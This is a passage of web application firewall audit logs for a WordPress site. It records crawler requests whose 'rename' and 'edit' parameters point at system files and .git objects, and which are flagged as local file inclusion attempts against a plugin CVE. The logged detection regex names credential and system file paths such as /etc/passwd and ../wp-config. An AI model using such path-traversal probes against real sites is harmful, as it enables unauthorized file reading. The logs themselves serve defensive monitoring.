\"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":153,"p2":3314,"p3":0,"p4":0,"p5":261,"sr":91,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:31:50.959233 +0100","transaction_id":"abNpBn6c0W8rkQnlo8JV4gAAAcE","remote_address":"57.141.20.52","remote_port":51286,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/k/konsole%20pcfkeys HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"6197768de0018ff53cb51a55ce64cefd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"950352"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6197768de0018ff53cb51a55ce64cefd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/k/konsole pcfkeys||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":290,"p2":5608,"p3":0,"p4":0,"p5":340,"sr":131,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:33:43.967347 +0100","transaction_id":"abNpd6RcIf1QVcQGR0mIvwAAANc","remote_address":"65.109.118.212","remote_port":48456,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"e510816d8a934aae0087992759a32502","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1474823","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"e510816d8a934aae0087992759a32502","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":278,"p2":5541,"p3":0,"p4":0,"p5":243,"sr":169,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:34:26.489433 +0100","transaction_id":"abNpoqRcIf1QVcQGR0mJewAAAMA","remote_address":"57.141.20.36","remote_port":37630,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/t/terminology-0.6.1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"11c9f1608ab1f9d43141acc1a701c9fe","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3670356"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"11c9f1608ab1f9d43141acc1a701c9fe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/t/terminology-0.6.1||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":305,"p2":5605,"p3":0,"p4":0,"p5":333,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:37:46.438548 +0100","transaction_id":"abNqaqRcIf1QVcQGR0mLAgAAANU","remote_address":"65.109.118.212","remote_port":36668,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"28c0cce01285724c752df2e571b5b5d8","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5767432","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"28c0cce01285724c752df2e571b5b5d8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":258,"p2":4298,"p3":0,"p4":0,"p5":1041,"sr":134,"sw":0,"l":0,"gc":849},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:39:47.774727 +0100","transaction_id":"abNq4h2Dz2AA0AEEU8rTdgAAAEg","remote_address":"65.109.118.212","remote_port":36874,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"a17fe7a27db561e9f3aae4e345848f97","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3572023","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"a17fe7a27db561e9f3aae4e345848f97","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":169,"p2":3230,"p3":0,"p4":0,"p5":241,"sr":118,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:40:13.291649 +0100","transaction_id":"abNq_MZN6QjCL5T2QIUvNQAAAAA","remote_address":"57.141.20.18","remote_port":47322,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6c/1e62cbbfefd5723ab59ac3ac9058e100686a0f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"9928ce931b0790753b361b7e91331975","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32918"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9928ce931b0790753b361b7e91331975","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/6c/1e62cbbfefd5723ab59ac3ac9058e100686a0f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":354,"p2":6367,"p3":0,"p4":0,"p5":364,"sr":128,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:40:30.856685 +0100","transaction_id":"abNrDqRcIf1QVcQGR0mM-QAAAMc","remote_address":"57.141.20.22","remote_port":48568,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/c/cyb110 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"06d45a177bf7b7f13c5bcdd313502c43","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5603629"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"06d45a177bf7b7f13c5bcdd313502c43","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/c/cyb110||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":292,"p2":6052,"p3":0,"p4":0,"p5":394,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:41:05.239951 +0100","transaction_id":"abNrMKRcIf1QVcQGR0mNXwAAAMc","remote_address":"57.141.20.8","remote_port":48568,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/wa/LC_MESSAGES/iso_639-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"0bef1fcebc37256bb2b255736a638cc0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1868237"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0bef1fcebc37256bb2b255736a638cc0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/wa/LC_MESSAGES/iso_639-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":199,"p2":4643,"p3":0,"p4":0,"p5":235,"sr":181,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:41:50.349765 +0100","transaction_id":"abNrXMS9L92-qvnlzdysIwAAAIs","remote_address":"65.109.118.212","remote_port":47310,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"8b2c52d65553dfa85a52470c3bd4365a","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"458842","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"8b2c52d65553dfa85a52470c3bd4365a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":228,"p2":3398,"p3":0,"p4":0,"p5":276,"sr":116,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:42:39.948044 +0100","transaction_id":"abNrj8ZN6QjCL5T2QIUwvwAAABU","remote_address":"57.141.20.45","remote_port":52008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/wo_SN/LC_IDENTIFICATION HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"6301bed32286d934385bd30a6f5f87f4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1180065"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6301bed32286d934385bd30a6f5f87f4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/wo_SN/LC_IDENTIFICATION||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":264,"p2":4943,"p3":0,"p4":0,"p5":328,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:43:06.152991 +0100","transaction_id":"abNrqaRcIf1QVcQGR0mOWwAAANg","remote_address":"57.141.20.45","remote_port":33324,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_alloc.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"00d15953771772fdae6a6d59a9661e80","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1048831"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"00d15953771772fdae6a6d59a9661e80","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_alloc.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":328,"p2":7190,"p3":0,"p4":0,"p5":320,"sr":171,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:43:24.639759 +0100","transaction_id":"abNrvB2Dz2AA0AEEU8rUrQAAAFE","remote_address":"57.141.20.6","remote_port":35702,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/13/480d4ba29fda34d67123be2f59869eca36f8c8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.6","X-Forwarded-Proto":"https","X-Request-Id":"1aa098cc967f11f87d24c1de60aa9e87","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3211513"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1aa098cc967f11f87d24c1de60aa9e87","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] 